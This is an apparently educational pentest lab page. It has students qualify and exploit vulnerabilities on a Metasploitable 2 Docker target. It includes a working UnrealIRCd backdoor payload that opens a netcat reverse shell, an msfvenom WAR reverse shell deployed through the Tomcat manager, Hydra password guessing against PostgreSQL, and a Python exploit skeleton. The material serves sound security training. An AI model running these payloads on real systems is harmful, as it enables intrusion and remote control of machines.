Pular para o conteúdo principal

Vulnerability research — Hands-on lab

You saw two holds fall without Metasploit in the walkthrough. Your turn to take one down, then qualify two others without exploiting them (to practice writing a clean table).

Budget: 2 h 30.

Deliverable: ~/labs/rapport/vulnerabilites.md with a prioritized table, and ~/labs/preuves/ with exploitation traces for at least one vulnerability.


Prerequisites​

Docker Desktop up and running, inskillsec/kali-lab image already built (see module 01). You have finished module 04 (recon): the Metasploitable 2 version scans are in your head or in your artifacts.

The M05 compose uses the same target image as M04 — it is already in your Docker cache, no extra download.


Step 1 — Bring the lab up (2 min)​

cd labs/docker/module-05-vulnerabilites
docker compose up -d

Give it 30 s to 1 min for the target to finish its services.sh. Then:

cd ..
./verifier-lab.sh module-05-vulnerabilites # bash / macOS / Linux / WSL
.\verifier-lab.ps1 module-05-vulnerabilites # PowerShell

Enter the attacker:

cd module-05-vulnerabilites
docker compose exec attaquant bash

mkdir -p ~/labs/{preuves,rapport,pocs}
cd ~/labs

# Update searchsploit and Nuclei
sudo searchsploit -u
nuclei -update-templates -silent

Step 2 — Choose 3 vulnerabilities (10 min)​

Do not take vsftpd or Samba (already used in M01 and M08). Choose three different vulnerabilities from:

  1. UnrealIRCd 3.2.8.1 — CVE-2010-2075. Deliberate backdoor in the 2009-2010 tarball.
  2. distccd — CVE-2004-2687. No authentication, arbitrary code execution.
  3. Tomcat 5.5 with tomcat:tomcat — deploying a malicious WAR.
  4. Apache mod_userdir — user enumeration via /~<name>.
  5. PostgreSQL 8.3 — weak authentication / wordlist.
  6. Misconfigured NFS (port 2049) — export accessible without authentication.
  7. X11 on port 6000 — screen capture without authentication.

In rapport/vulnerabilites.md, write your choice of the 3 and why. That justification is what proves you pick your attack, rather than stumbling on whatever is lying around.

Definition — vulnerability, exploit, POC, CVE: the words everyone confuses

These four terms are used as synonyms almost everywhere, by mistake. They designate different things.

A vulnerability is a property of a piece of software — a combination of code and configuration that makes a harmful behavior possible. It exists independently of any attacker. A buffer overflow in a function that is never called is still a vulnerability, even if no one ever exploits it. Common vocabulary: "the service is vulnerable to this".

An exploit is an artifact — a program, script, payload — that actually uses that vulnerability to produce impact. The exploit depends on the context: an exploit that works on Ubuntu 18.04 x86_64 can fail on the same version on ARM. An exploit built into Metasploit is called an "exploit module". Common vocabulary: "there is a public exploit for this vulnerability".

A POC (Proof of Concept) is a minimal exploit, often quickly coded, whose sole purpose is to prove that the vulnerability is real. It does not aim to be stable, to bypass EDR, or to handle errors. Many POCs just crash the service — that is already proof, even if it does not open a shell. Common vocabulary: "there is no public POC yet".

A CVE (Common Vulnerabilities and Exposures) is an identifier. It is a catalog label pointing to a precise vulnerability, described in a public database (NVD, MITRE). CVE-2011-2523 designates the vsftpd 2.3.4 backdoor, regardless of who finds it or how it is exploited. Common vocabulary: "which CVE?".

The same vulnerability can have zero POCs, one homemade POC, a stable Metasploit module, and no CVE yet (when freshly discovered). It is a cycle: vulnerability discovered → CVE assigned → POC published → stable exploit integrated into frameworks. At each stage, the risk window grows.


Step 3 — Qualify each one (30 min per vulnerability)​

For each one, produce this complete record:

## Vulnerability #<n> — <short title>

### Identity
- Product and version: <e.g. UnrealIRCd 3.2.8.1>
- CVE: <e.g. CVE-2010-2075>
- Original advisory: <URL link or source>
- KEV references: <yes/no>

### Scores
- CVSS Base: ...
- CVSS Environmental (recomputed): ... — one-sentence justification.
- Current EPSS: ... (source: https://api.first.org/data/v1/epss?cve=<CVE>)

### POC / Exploit
- Found on: Exploit-DB #<number> / GitHub <url>
- Read before running: yes / no
- Adaptations needed for the target: ...

### Proof of existence
- Request sent (curl / nc / script): ...
- Response observed: ...
- Proof file: preuves/<vulnerability>-*.txt

### Business impact (if the client were real)
- ... (one sentence per impact)

### Recommendation
- Immediate measure: ...
- Underlying measure: ...

Do not skimp on any section. The final table is only as good as the records behind it.

Definition — CVSS Base vs CVSS Environmental, why the score changes with context

CVSS (Common Vulnerability Scoring System) is a 0-to-10 score that tries to quantify a vulnerability's severity. Version 3.1 (current in 2026) splits the score into three groups of metrics.

The CVSS Base is computed from the vulnerability's intrinsic characteristics, independent of context: attack vector (network, local, physical), complexity (low, high), required privileges, user interaction, scope, impact on confidentiality/integrity/availability. That is the score you read on NVD. It is fixed.

The CVSS Temporal adds metrics that change over time: exploit maturity (POC, functional, weaponized), official remediation level (patch, workaround), report confidence. This score is almost always less than or equal to the Base.

The CVSS Environmental adds the client context: how much do confidentiality, integrity, availability matter for this system? A server holding NTLM hashes for the IT department is worth more than an isolated test box. Recomputing the Environmental score on every vulnerability, in its own context, is the move that separates a raw scan report from a consultant report.

Example: CVE-2010-2075 (UnrealIRCd) has a base of 10.0. On your Metasploitable 2 lab, the Environmental to recompute would probably be 6-7: the machine is isolated, availability does not matter, confidentiality little (nothing sensitive), integrity neither. Conversely, the same CVE on an internal-communications IRC server would climb back to 10.0: an attacker who owns the server can read every admin conversation.

Recomputing the Environmental score and justifying your new number in one sentence is what the client pays you to do. Without it, your report is only an NVD copy.


Step 4 — Exploit at least one by hand (60 min)​

Choose the simplest of your three vulnerabilities. Exploit it without Metasploit — we save the framework for module 8. Here are three concrete, ready-to-use examples.

Suggestion 1 — UnrealIRCd (Perl POC)​

searchsploit "unrealircd 3.2.8.1"
searchsploit -m 13853 # or the ID you found

Read the Perl script before doing anything else. It sends a magic string AB;<command> that triggers execution:

$socket->send("AB;system('nc -e /bin/sh 10.20.30.5 4444')\n");

In one terminal of the attacker container:

nc -lvnp 4444

In a second (docker compose exec attaquant bash from your host):

# Adapt the script to use 10.20.30.5 (not 10.10.10.5)
sed -i 's/10\.10\.10\.5/10.20.30.5/g' 13853.pl
perl 13853.pl 10.20.30.20 6667

Check that the first terminal receives the connection, type id, save the trace into preuves/unreal-shell.log.

Suggestion 2 — Tomcat manager (WAR)​

First check that the manager is reachable:

curl -s -u tomcat:tomcat http://10.20.30.20:8180/manager/html | head -n 5

HTML response? Then deploy:

# 1. Generate a reverse shell WAR (msfvenom is independent of msfconsole)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.20.30.5 LPORT=4444 -f war -o pocs/shell.war

# 2. Deploy via the manager API
curl -u tomcat:tomcat -T pocs/shell.war "http://10.20.30.20:8180/manager/deploy?path=/pwn"

# 3. Listen (in another terminal)
nc -lvnp 4444

# 4. Trigger
curl http://10.20.30.20:8180/pwn/

A shell falls. Save the trace into preuves/tomcat-shell.log.

Suggestion 3 — PostgreSQL 8.3 with Hydra​

A different scenario: not a code exploit, but a weak password.

# Create a small targeted wordlist
cat > pocs/pg-words.txt <<EOF
postgres
admin
password
password123
p@ssw0rd
EOF

# Hydra against PostgreSQL
hydra -L pocs/pg-words.txt -P pocs/pg-words.txt -f -o preuves/pg-hydra.txt \
postgres://10.20.30.20:5432/template1

You should find postgres:postgres. Then:

PGPASSWORD=postgres psql -h 10.20.30.20 -U postgres -d template1 -c "\l" > preuves/pg-dbs.txt

You list every database. Concrete impact proof.

Definition — why exploit by hand before switching to Metasploit

A Metasploit module looks like a magic wand. You type set RHOSTS x.x.x.x, run, and a shell falls. It is efficient, spectacular, and absolutely fatal to learning: you understand nothing about what happened under the hood.

Going through a raw POC — a Perl script downloaded from Exploit-DB, a hand-crafted curl, a 30-line Python script — forces you to understand three things. Which protocol is used (cleartext IRC for UnrealIRCd, HTTP + Basic Auth for Tomcat, PostgreSQL wire protocol for Hydra). Which payload is dropped (literal AB;... string, JSP WAR, auth attempts). Which response confirms success (shell answering id, HTTP 200 on the deployed path, "[80][postgres] host: ..." line for Hydra).

Those three items — protocol, payload, response — are what turn you from a tool operator into a practitioner. The day a public exploit drops for a freshly published CVE and Metasploit has no module yet, you are the only one on the team who can adapt the POC. You become useful. The day a client asks why your POC works, you can answer. You become credible.

Metasploit stays essential for speed on engagements — you will not write a POC for each of ten vulnerable servers. But crossing the "understand what happens under the module" line is what separates a senior pentester from an operator.


Step 5 — Broad scan with Nuclei (20 min)​

Alongside the exploitation, run:

nuclei -u http://10.20.30.20 -tags cve,exposure,default-login -severity medium,high,critical \
-o preuves/nuclei-cible.txt

# Also on Tomcat (port 8180)
nuclei -u http://10.20.30.20:8180 -tags cve,exposure,default-login \
-o preuves/nuclei-cible-8180.txt

# And phpMyAdmin, often hosted on port 80
nuclei -u http://10.20.30.20/phpMyAdmin -tags cve,exposure,default-login \
-o preuves/nuclei-phpmyadmin.txt

Note the 5 most interesting nuclei findings in your report, with a per-line decision: exploitable / info leak / false positive.

Definition — Nuclei, scanning under control

Nuclei is a vulnerability scanner driven by YAML templates. Each template describes how to test a precise CVE or exposure: what request to send, what response to expect. The official project maintains a library of thousands of community-covered templates.

On paper, it sounds like a Nessus replacement. In practice, it is very different. Nuclei does nothing outside the templates you feed it — no inference, no proprietary fingerprinting. That makes it much more predictable and auditable: every detection can be traced to a precise template, readable in thirty seconds. The price: templates mostly cover recent web vulnerabilities and configuration exposures, less the old infrastructure CVEs.

The classic trap of Nuclei on a rich target like Metasploitable 2 is false positive over-detection. Many templates look for a specific string in a banner or an error page. If the server returns a generic response for everything, several templates match. The rule: filter by severity (-severity high,critical), pass every kept result through manual verification, discard anything not hand-confirmable.

The huge upside: on a recurring audit, you can compare Nuclei outputs from month to month. A new finding signals either a regression or a new CVE covered by updated templates. Particularly useful for monitoring your own estate.


Step 6 — Nikto for context (15 min)​

Run Nikto on port 80:

nikto -h http://10.20.30.20 -Format txt -o preuves/nikto-cible.txt

From the Nikto output, select at most 5 lines that are real leads (forgotten files, admin panels). The rest is noise — do not keep it.


Step 7 — Consolidate the prioritized table (20 min)​

Open rapport/vulnerabilites.md and add the final table. Same structure as the walkthrough:

# Prioritized table — Module 05

## Target 10.20.30.20 (Metasploitable 2)

| ID | Service | CVE | Base | Env. | EPSS | KEV | Status | Proof |
| -- | --- | --- | --- | --- | --- | --- | --- | --- |
| P1a | UnrealIRCd 3.2.8.1 | CVE-2010-2075 | 10.0 | 6.5 | 0.94 | Yes | exploited | preuves/unreal-shell.log |
| P1b | Tomcat 5.5 manager | — (weak creds) | 8.8 | 7.5 | — | No | exploited | preuves/tomcat-shell.log |
| P2 | distccd | CVE-2004-2687 | 9.3 | 5.5 | 0.42 | No | to do | — |
| P3 | PostgreSQL creds | — | 7.5 | 5.0 | — | No | qualified | preuves/pg-hydra.txt |
| P4 | NFS export | — | 5.4 | 4.0 | — | No | qualified | preuves/nfs-check.txt |
| P5 | mod_userdir | — | 4.3 | 3.0 | — | No | qualified | preuves/userdir.txt |

Rules for this table:

  • At least 6 lines in total (the 3 records + the Nuclei/Nikto findings).
  • At least one in exploited with proof in preuves/.
  • No line without a clear Status.
  • CVSS Environmental different from Base at least once (shows that you contextualize).

Self-assessment checklist​

  • Three vulnerabilities chosen (not the ones from the demo or from M01/M08).
  • Three complete records (identity, scores, POC, proof, impact, recommendation).
  • At least one vulnerability actually exploited by hand, without Metasploit.
  • Full trace of the exploitation in preuves/.
  • Full Nuclei scan saved, top-5 findings annotated.
  • Full Nikto scan, 5 findings kept (the rest discarded).
  • Final prioritized table with at least 6 lines and one recomputed CVSS Env.
  • No POC run without having read it first.
  • No action outside the 10.20.30.0/24 subnet.

What usually gets you stuck​

SymptomCauseFix
searchsploit finds nothingDatabase out of datesudo searchsploit -u.
Python POC does not workPython 2 vs 3 syntax2to3 script.py -w.
Nuclei outputs 500 lines of noiseToo many tagsFilter -severity high,critical.
An exploit runs a shady actionBackdoor in the POCStart over from an official POC (Rapid7, Metasploit).
Nikto returns far too muchNormalFilter by hand, discard 80%.
The UnrealIRCd exploit returns not vulnerableModified version or restarted servicedocker compose restart cible.
msfvenom very slowJava toolchain compilingWait — the first msfvenom of a session takes ~30 s.
hydra: auth error even with the right passwordWrong URL schemeUse postgres:// (not postgresql://).

Optional extension — Write your own minimal POC​

Take the simplest of the three vulnerabilities and rewrite the POC in Python 3, without copy-pasting. 30 lines, with:

  • A CLI argument (argparse).
  • A check of the target version (banner).
  • Sending the payload.
  • A clear return (SUCCESS / FAIL).

Skeleton for UnrealIRCd:

#!/usr/bin/env python3
import argparse, socket, sys

def check_banner(sock):
banner = sock.recv(2048).decode(errors="ignore")
return "Unreal" in banner

def exploit(ip, port, cmd):
with socket.create_connection((ip, port), timeout=5) as s:
if not check_banner(s):
print("[!] Target has no UnrealIRCd banner — abort")
sys.exit(1)
payload = f"AB;{cmd}\n".encode()
s.sendall(payload)
print(f"[+] Payload sent: {payload.decode().strip()}")
print("[i] Check your netcat listener.")

if __name__ == "__main__":
p = argparse.ArgumentParser()
p.add_argument("target"); p.add_argument("--port", type=int, default=6667)
p.add_argument("--cmd", default="id")
a = p.parse_args()
exploit(a.target, a.port, a.cmd)

Save under pocs/unreal_pwn.py, test:

python3 pocs/unreal_pwn.py 10.20.30.20 --cmd "nc -e /bin/sh 10.20.30.5 4444"

This is the most instructive exercise in the course. A pentester who can write a POC no longer depends on the tools.


What you take away from this lab​

  • The instinct to qualify a vulnerability before jumping on it.
  • The habit of reading a POC before running it.
  • A method for turning a pile of scanner output into a usable prioritized table.
  • The confidence to exploit certain vulnerabilities without a framework. That is what will one day get you through a technical test in an interview.
  • One or two Python 3 POCs of your own, rewritten by hand — the pride of work you know line by line.